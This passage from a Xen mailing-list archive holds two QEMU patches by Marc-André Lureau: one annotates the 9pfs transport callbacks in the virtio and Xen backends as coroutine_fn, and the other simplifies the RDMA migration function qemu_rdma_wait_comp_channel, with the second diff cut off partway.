 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:32 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648646-e002-0a2a0a5209dd-0a2a4507b1ce-48
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:32 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a6486ab-b4ea-0a2a45070019-aa0a857c5f79-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:32 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-562-ZXGvEzuzOxOY2iHx5gqxvg-1; Sat,
 25 Jul 2026 05:49:25 -0400
Received: from mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.111])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 996C91800BE7; Sat, 25 Jul 2026 09:49:23 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id C7BA0180049F; Sat, 25 Jul 2026 09:49:21 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972971;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=FeeTjvkJM1Dn0dYWSzp90bDCUYiw8gK9AfELQQw1ddI=;
	b=C/fVkV4vR9eImvIZ7sMNNWNqMyDhlg1cB4INYPx0KG1l7pezboaVTaBa1nDC+3ONjBLsKr
	ClKLUjP7zZMwPI0+xrM4ibOzFSI191GLHo1hSOOR7mwY4Zavy3kLU8VDFzx2fCKRFkGjv9
	JdORUhOFKDI2kJ8EQJmfcm6+FkoJg5k=
X-MC-Unique: ZXGvEzuzOxOY2iHx5gqxvg-1
X-Mimecast-MFC-AGG-ID: ZXGvEzuzOxOY2iHx5gqxvg_1784972964
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:38 +0400
Subject: [PATCH v2 7/8] hw/9pfs: annotate V9fsTransport callbacks as
 coroutine_fn
MIME-Version: 1.0
Message-Id: <20260725-co-v2-7-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=12210;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=PrexPNQ2Ihat15GzNcjy38+9DFqHdHllyp7j3xM3SIY=;
 b=owEBbQKS/ZANAwAKAdro4Ql1lpzlAcsmYgBqZIZzZri2wovVvyg7luKomC/Qdjut5fZZ5+87C
 79GJVT7CSGJAjMEAAEKAB0WIQSHqb2TP4fGBtJ29i3a6OEJdZac5QUCamSGcwAKCRDa6OEJdZac
 5XiOD/9aCgiO9aaqzCpvDR48Jb/zWImmfzQx94/n+ljKr4R+DQf+O3nZZ/6gdv4/RxaSLenH3Ga
 M2B/LuEEdmc7RVFNmlUl3moLCUAywULmWtpYD7XBoeVGzpvL4eSH/AKvilzeIwExOaARGMxhXT2
 Z+B9A0AcJYKYyFA4yjOoW5ySF8qstvsJA7IrlGtPkQO891p3E0+90nq6JM8s59qMEGvCn+FgMCc
 tUce96pSStLHQbHiz/U3XiA4/dQd1SX8JslkP7OsFrGBIa3mXBZfW3wZvRlkB7h7XryTb3cuXkw
 FsM7VavuzFjfsE10aLCSb1wezR5T1LKFfl3skjm/T5veROPHdYtTpOV4I8S7UptVMW+SEhiWihU
 M+CQbJDWMjOhSwAsn9hPyuFM5GVYOBbcjZBEXnucc/O1jlZOjEYax3ZEXjCBr6xzVKPkBd9wj86
 rF3+fFODFaExWYdEJvk/3CdzWyJECQvJBE9SeMJYQZMR4R2osTi0EKthegNzigSdUspHfwEEEzg
 4abdXwsQvV07gvH3ih5ww8YMPyxSKV+mUBOAcPpYjtD92DJOx4jZPZfWHi/GitMq5ZbTJYcZSO5
 Kpa77VBFATVHGF8WHBKnXQuNxmwxqR9kc0u6Mr+K8aoAW/bPvBNV5LIKOhBqelq2x2fu1pdALdG
 vAJffkll9ZgV52Q==
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.111
X-Mimecast-MFC-PROC-ID: 9-Rda8JUZ3oabaZGTpKMB8Et8oIf_q_1OH72sEhjkKE_1784972964
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-ef75cf/1784972972-A54C3AE4-8E5ABBDF/0/0
X-purgate-type: clean
X-purgate-size: 12212

All V9fsTransport callbacks are invoked exclusively from coroutine
context (the v9fs_* PDU handlers). Annotate the function pointer
types in V9fsTransport and all implementations (virtio and xen
backends), as well as intermediate callers in 9p.c (pdu_marshal,
pdu_unmarshal, v9fs_init_qiov_from_pdu, etc.).

Acked-by: Christian Schoenebeck <qemu_oss@crudebyte.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 hw/9pfs/9p.h               | 26 +++++++++++++++-----------
 hw/9pfs/9p.c               | 31 +++++++++++++++++++------------
 hw/9pfs/virtio-9p-device.c | 24 +++++++++++++-----------
 hw/9pfs/xen-9p-backend.c   | 34 +++++++++++++++++-----------------
 4 files changed, 64 insertions(+), 51 deletions(-)

diff --git a/hw/9pfs/9p.h b/hw/9pfs/9p.h
index 1a309664f6e3..0e52ffbdf38b 100644
--- a/hw/9pfs/9p.h
+++ b/hw/9pfs/9p.h
@@ -472,17 +472,21 @@ void pdu_submit(V9fsPDU *pdu, P9MsgHeader *hdr);
 void v9fs_reset(V9fsState *s);
 
 struct V9fsTransport {
-    ssize_t     (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
-                                va_list ap);
-    ssize_t     (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset, const char *fmt,
-                                  va_list ap);
-    void        (*init_in_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
-                                        unsigned int *pniov, size_t size);
-    void        (*init_out_iov_from_pdu)(V9fsPDU *pdu, struct iovec **piov,
-                                         unsigned int *pniov, size_t size);
-    void        (*push_and_notify)(V9fsPDU *pdu);
-    size_t      (*msize_limit)(V9fsState *s);
-    size_t      (*response_buffer_size)(V9fsPDU *pdu);
+    ssize_t     coroutine_fn (*pdu_vmarshal)(V9fsPDU *pdu, size_t offset,
+                                             const char *fmt, va_list ap);
+    ssize_t     coroutine_fn (*pdu_vunmarshal)(V9fsPDU *pdu, size_t offset,
+                                               const char *fmt, va_list ap);
+    void        coroutine_fn (*init_in_iov_from_pdu)(V9fsPDU *pdu,
+                                                     struct iovec **piov,
+                                                     unsigned int *pniov,
+                                                     size_t size);
+    void        coroutine_fn (*init_out_iov_from_pdu)(V9fsPDU *pdu,
+                                                      struct iovec **piov,
+                                                      unsigned int *pniov,
+                                                      size_t size);
+    void        coroutine_fn (*push_and_notify)(V9fsPDU *pdu);
+    size_t      coroutine_fn (*msize_limit)(V9fsState *s);
+    size_t      coroutine_fn (*response_buffer_size)(V9fsPDU *pdu);
 };
 
 #endif
diff --git a/hw/9pfs/9p.c b/hw/9pfs/9p.c
index 3119f011173d..00cfbae6dd5b 100644
--- a/hw/9pfs/9p.c
+++ b/hw/9pfs/9p.c
@@ -55,7 +55,8 @@ enum {
 
 P9ARRAY_DEFINE_TYPE(V9fsPath, v9fs_path_free);
 
-static ssize_t pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
+static ssize_t coroutine_fn
+pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
 {
     ssize_t ret;
     va_list ap;
@@ -67,7 +68,8 @@ static ssize_t pdu_marshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
     return ret;
 }
 
-static ssize_t pdu_unmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
+static ssize_t coroutine_fn
+pdu_unmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, ...)
 {
     ssize_t ret;
     va_list ap;
@@ -1841,7 +1843,8 @@ out_nofid:
     pdu_complete(pdu, err);
 }
 
-static int v9fs_walk_marshal(V9fsPDU *pdu, uint16_t nwnames, V9fsQID *qids)
+static int coroutine_fn
+v9fs_walk_marshal(V9fsPDU *pdu, uint16_t nwnames, V9fsQID *qids)
 {
     int i;
     ssize_t err;
@@ -2363,9 +2366,10 @@ out_nofid:
  * The resulting QEMUIOVector has heap-allocated iovecs and must be cleaned up
  * with qemu_iovec_destroy().
  */
-static void v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
-                                    size_t skip, size_t size,
-                                    bool is_write)
+static void coroutine_fn
+v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
+                        size_t skip, size_t size,
+                        bool is_write)
 {
     QEMUIOVector elem;
     struct iovec *iov;
@@ -2382,8 +2386,9 @@ static void v9fs_init_qiov_from_pdu(QEMUIOVector *qiov, V9fsPDU *pdu,
     qemu_iovec_concat(qiov, &elem, skip, size);
 }
 
-static int v9fs_xattr_read(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
-                           uint64_t off, uint32_t max_count)
+static int coroutine_fn
+v9fs_xattr_read(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
+                uint64_t off, uint32_t max_count)
 {
     ssize_t err;
     size_t offset = 7;
@@ -2793,9 +2798,10 @@ out_nofid:
     pdu_complete(pdu, retval);
 }
 
-static int v9fs_xattr_write(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
-                            uint64_t off, uint32_t count,
-                            struct iovec *sg, int cnt)
+static int coroutine_fn
+v9fs_xattr_write(V9fsState *s, V9fsPDU *pdu, V9fsFidState *fidp,
+                 uint64_t off, uint32_t count,
+                 struct iovec *sg, int cnt)
 {
     int i, to_copy;
     ssize_t err = 0;
@@ -3729,7 +3735,8 @@ out_nofid:
     pdu_complete(pdu, err);
 }
 
-static int v9fs_fill_statfs(V9fsState *s, V9fsPDU *pdu, struct statfs *stbuf)
+static int coroutine_fn
+v9fs_fill_statfs(V9fsState *s, V9fsPDU *pdu, struct statfs *stbuf)
 {
     uint32_t f_type;
     uint32_t f_bsize;
diff --git a/hw/9pfs/virtio-9p-device.c b/hw/9pfs/virtio-9p-device.c
index 50dc93091d33..b2dd859fb560 100644
--- a/hw/9pfs/virtio-9p-device.c
+++ b/hw/9pfs/virtio-9p-device.c
@@ -28,7 +28,7 @@
 #include "qemu/module.h"
 #include "system/qtest.h"
 
-static void virtio_9p_push_and_notify(V9fsPDU *pdu)
+static void coroutine_fn virtio_9p_push_and_notify(V9fsPDU *pdu)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -117,8 +117,8 @@ static void virtio_9p_reset(VirtIODevice *vdev)
     v9fs_reset(&v->state);
 }
 
-static ssize_t virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset,
-                                   const char *fmt, va_list ap)
+static ssize_t coroutine_fn
+virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, va_list ap)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -135,8 +135,8 @@ static ssize_t virtio_pdu_vmarshal(V9fsPDU *pdu, size_t offset,
     return ret;
 }
 
-static ssize_t virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset,
-                                     const char *fmt, va_list ap)
+static ssize_t coroutine_fn
+virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset, const char *fmt, va_list ap)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -152,8 +152,9 @@ static ssize_t virtio_pdu_vunmarshal(V9fsPDU *pdu, size_t offset,
     return ret;
 }
 
-static void virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
-                                        unsigned int *pniov, size_t size)
+static void coroutine_fn
+virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
+                            unsigned int *pniov, size_t size)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -172,8 +173,9 @@ static void virtio_init_in_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
     *pniov = elem->in_num;
 }
 
-static void virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
-                                         unsigned int *pniov, size_t size)
+static void coroutine_fn
+virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
+                             unsigned int *pniov, size_t size)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
@@ -192,13 +194,13 @@ static void virtio_init_out_iov_from_pdu(V9fsPDU *pdu, struct iovec **piov,
     *pniov = elem->out_num;
 }
 
-static size_t virtio_9p_msize_limit(V9fsState *s)
+static size_t coroutine_fn virtio_9p_msize_limit(V9fsState *s)
 {
     const size_t guestPageSize = 4096;
     return (VIRTQUEUE_MAX_SIZE - 2) * guestPageSize;
 }
 
-static size_t virtio_9p_response_buffer_size(V9fsPDU *pdu)
+static size_t coroutine_fn virtio_9p_response_buffer_size(V9fsPDU *pdu)
 {
     V9fsState *s = pdu->s;
     V9fsVirtioState *v = container_of(s, V9fsVirtioState, state);
diff --git a/hw/9pfs/xen-9p-backend.c b/hw/9pfs/xen-9p-backend.c
index 24c90d97ec94..7f674f846426 100644
--- a/hw/9pfs/xen-9p-backend.c
+++ b/hw/9pfs/xen-9p-backend.c
@@ -131,10 +131,10 @@ static void xen_9pfs_out_sg(Xen9pfsRing *ring,
     }
 }
 
-static ssize_t xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
-                                     size_t offset,
-                                     const char *fmt,
-                                     va_list ap)
+static ssize_t coroutine_fn xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
+                                                  size_t offset,
+                                                  const char *fmt,
+                                                  va_list ap)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     struct iovec in_sg[2];
@@ -155,10 +155,10 @@ static ssize_t xen_9pfs_pdu_vmarshal(V9fsPDU *pdu,
     return ret;
 }
 
-static ssize_t xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
-                                       size_t offset,
-                                       const char *fmt,
-                                       va_list ap)
+static ssize_t coroutine_fn xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
+                                                    size_t offset,
+                                                    const char *fmt,
+                                                    va_list ap)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     struct iovec out_sg[2];
@@ -178,10 +178,10 @@ static ssize_t xen_9pfs_pdu_vunmarshal(V9fsPDU *pdu,
     return ret;
 }
 
-static void xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
-                                           struct iovec **piov,
-                                           unsigned int *pniov,
-                                           size_t size)
+static void coroutine_fn xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
+                                                        struct iovec **piov,
+                                                        unsigned int *pniov,
+                                                        size_t size)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     Xen9pfsRing *ring = &xen_9pfs->rings[pdu->tag % xen_9pfs->num_rings];
@@ -195,10 +195,10 @@ static void xen_9pfs_init_out_iov_from_pdu(V9fsPDU *pdu,
     *pniov = num;
 }
 
-static void xen_9pfs_init_in_iov_from_pdu(V9fsPDU *pdu,
-                                          struct iovec **piov,
-                                          unsigned int *pniov,
-                                          size_t size)
+static void coroutine_fn xen_9pfs_init_in_iov_from_pdu(V9fsPDU *pdu,
+                                                       struct iovec **piov,
+                                                       unsigned int *pniov,
+                                                       size_t size)
 {
     Xen9pfsDev *xen_9pfs = container_of(pdu->s, Xen9pfsDev, state);
     Xen9pfsRing *ring = &xen_9pfs->rings[pdu->tag % xen_9pfs->num_rings];
@@ -227,7 +227,7 @@ again:
     *pniov = num;
 }
 
-static void xen_9pfs_push_and_notify(V9fsPDU *pdu)
+static void coroutine_fn xen_9pfs_push_and_notify(V9fsPDU *pdu)
 {
     RING_IDX prod;
     Xen9pfsDev *priv = container_of(pdu->s, Xen9pfsDev, state);

-- 
2.55.0



From xen-devel-bounces@lists.xenproject.org Sat Jul 25 09:49:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 25 Jul 2026 09:49:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370596.1618702 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0l-0006ZK-Qn; Sat, 25 Jul 2026 09:49:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370596.1618702; Sat, 25 Jul 2026 09:49:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnZ0l-0006ZD-Ne; Sat, 25 Jul 2026 09:49:39 +0000
Received: by outflank-mailman (input) for mailman id 1370596;
 Sat, 25 Jul 2026 09:49:38 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marcandre.lureau@redhat.com>) id 1wnZ0k-0006Uu-1a
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 09:49:38 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnZ0j-003U5N-Eo
 for xen-devel@lists.xenproject.org; Sat, 25 Jul 2026 11:49:37 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a648620-bab6-0a2a0a5309dd-0a2a450a9dce-46
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:37 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marcandre.lureau@redhat.com>)
 id 6a6486b0-f2d2-0a2a450a0019-aa0a817ccc27-3
 for <xen-devel@lists.xenproject.org>; Sat, 25 Jul 2026 11:49:37 +0200
Received: from mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com
 (ec2-35-165-154-97.us-west-2.compute.amazonaws.com [35.165.154.97]) by
 relay.mimecast.com with ESMTP with STARTTLS (version=TLSv1.3,
 cipher=TLS_AES_256_GCM_SHA384) id us-mta-359-tlpeUg09MbS26wXvY2u7bA-1; Sat,
 25 Jul 2026 05:49:33 -0400
Received: from mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com
 (mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com [10.30.177.93])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256)
 (No client certificate requested)
 by mx-prod-mc-08.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTPS
 id 66BC41800BE2; Sat, 25 Jul 2026 09:49:31 +0000 (UTC)
Received: from localhost (unknown [10.44.22.7])
 by mx-prod-int-06.mail-002.prod.us-west-2.aws.redhat.com (Postfix) with ESMTP
 id D426E18001DA; Sat, 25 Jul 2026 09:49:27 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784972976;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=3otxHHzF848aWH4w40n6EBe3Am3b5Xd5NRbN2eJgj1c=;
	b=BOWYhbdziDHw7VBdzxPZ84HuC0YH9IRgWWjKmTFsWw65tsaSX9g+FxmdM63zx84gf8XQZD
	WUp+R7U+chdhFOGY7YCPVoz4JyG99gF6oHXqfHAYSUJPquCVNnNqKZGpDs3oMz/3N9UhQQ
	WpBVOkiy6Z7M7ARsqwMn7ZeaSOIn47o=
X-MC-Unique: tlpeUg09MbS26wXvY2u7bA-1
X-Mimecast-MFC-AGG-ID: tlpeUg09MbS26wXvY2u7bA_1784972971
From: =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 13:48:39 +0400
Subject: [PATCH v2 8/8] migration/rdma: annotate and simplify
 wait_comp_channel()
MIME-Version: 1.0
Message-Id: <20260725-co-v2-8-d3552ddb3931@redhat.com>
References: <20260725-co-v2-0-d3552ddb3931@redhat.com>
In-Reply-To: <20260725-co-v2-0-d3552ddb3931@redhat.com>
To: qemu-devel@nongnu.org
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
 Fabiano Rosas <farosas@suse.de>, 
 =?utf-8?q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
 John Snow <jsnow@redhat.com>, 
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, 
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>, 
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
 Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
 "Michael S. Tsirkin" <mst@redhat.com>, 
 Stefano Stabellini <sstabellini@kernel.org>, 
 Anthony PERARD <anthony@xenproject.org>, 
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>, 
 =?utf-8?q?Marc-Andr=C3=A9_Lureau?= <marcandre.lureau@redhat.com>
X-Developer-Signature: v=1; a=openpgp-sha256; l=1623;
 i=marcandre.lureau@redhat.com; h=from:subject:message-id;
 bh=2C5ZqBaQBwSshXxXMaaT5VaLMkO28qyCe2lqnv2+Heg=;
 b=kA0DAAoB2ujhCXWWnOUByyZiAGpkhnOgGsGaEW7fYQnX0R7hzSkmXg+bUb7nkK4SHhe9sZ9mD
 IkCMwQAAQoAHRYhBIepvZM/h8YG0nb2Ldro4Ql1lpzlBQJqZIZzAAoJENro4Ql1lpzl2WAP/AlG
 8U2u9t+z/ghM4iddfUBBNQCKNNC94atpjYBR7zEtMmEinsybH1CBGtm0uRRF21C/Pl36mCq99Oh
 LikhyMG6+0EH4lEGC2CSC/HD+SiYvSScNx32vMK1FXF2VWtPpZfjNKcDrilTVOpJBdE4WMyEHgo
 Hyjh0m9/kFgISoiAA04TY9YNB4798/imFwDCRNAmfwqRYs3CDQ5JkZRUA7nAo2o7gJfmPSYW9Pf
 PAJoDnwtwHD1tuocvj/G4/lQV90ohuZXkRBSbHjwsLhEZmhZylsnFkeX2ja0SjKeUjbrlYm+iNE
 CdYyQw7HCXZtAVYN7+BEnvv/RqLHHYNXNC00CzfmGuERxgGw/2gcFz6/nAYxbM6P1VrOsefRJqs
 hwmXCzX4AIrSYKeOsaXVQUSf3ZHg68HLzpn9Q/ZQhS+TerMfXo6bmSvg/gO27j2m1SqRgUR7/nx
 ud+F9xVyvWhFQr0rO/HRFPndoVtmWuCXzlUr7LAwOPK2SGU502dhXVbLz1VzIC/HzJ1vE5hbzfR
 iUYVQFA4wZJ0TFeLdD0k7RR3IErhEFiG/bRUxHVdBIownfSeLbwlJyZa6zP2CYaD9oSe4PPtYCE
 I6z7TqtrC0pCcDJjYyuF0/WnxguSZ1LTzgxq1wDBgUv00yB3KFZ44rk7ExMaFtSVGHMoWma7jp+
 GYfAm
X-Developer-Key: i=marcandre.lureau@redhat.com; a=openpgp;
 fpr=87A9BD933F87C606D276F62DDAE8E10975969CE5
X-Scanned-By: MIMEDefang 3.4.1 on 10.30.177.93
X-Mimecast-MFC-PROC-ID: zUbay7ZWG-u-Da0wCyNvpUXtQUrfBcnX3g-PqSpGDBk_1784972971
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784972977-5A7DACFC-2DDE9B59/0/0
X-purgate-type: clean
X-purgate-size: 1625

The function calls yield_until_fd_readable() (coroutine_fn) when in
coroutine context, and polls with qemu_poll_ns() otherwise.

Replace the migration-state proxy check with qemu_in_coroutine(),
which directly tests what matters.

Fixes: 2da776db4846 ("rdma: core logic")
Reviewed-by: Peter Xu <peterx@redhat.com>
Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>
---
 migration/rdma.c | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/migration/rdma.c b/migration/rdma.c
index 3e37a1d44013..438419d18943 100644
--- a/migration/rdma.c
+++ b/migration/rdma.c
@@ -1348,17 +1348,13 @@ static int qemu_rdma_poll(RDMAContext *rdma, struct ibv_cq *cq,
 /* Wait for activity on the completion channel.
  * Returns 0 on success, none-0 on error.
  */
-static int qemu_rdma_wait_comp_channel(RDMAContext *rdma,
-                                       struct ibv_comp_channel *comp_channel)
+static int coroutine_mixed_fn
+qemu_rdma_wait_comp_channel(RDMAContext *rdma,
+                            struct ibv_comp_channel *comp_channel)
 {
     struct rdma_cm_event *cm_event;
 
-    /*
-     * Coroutine doesn't start until migration_fd_process_incoming()
-     * so don't yield unless we know we're running inside of a coroutine.
-     */
-    if (rdma->migration_started_on_destination &&
-        migration_incoming_get_current()->state == MIGRATION_STATUS_ACTIVE) {
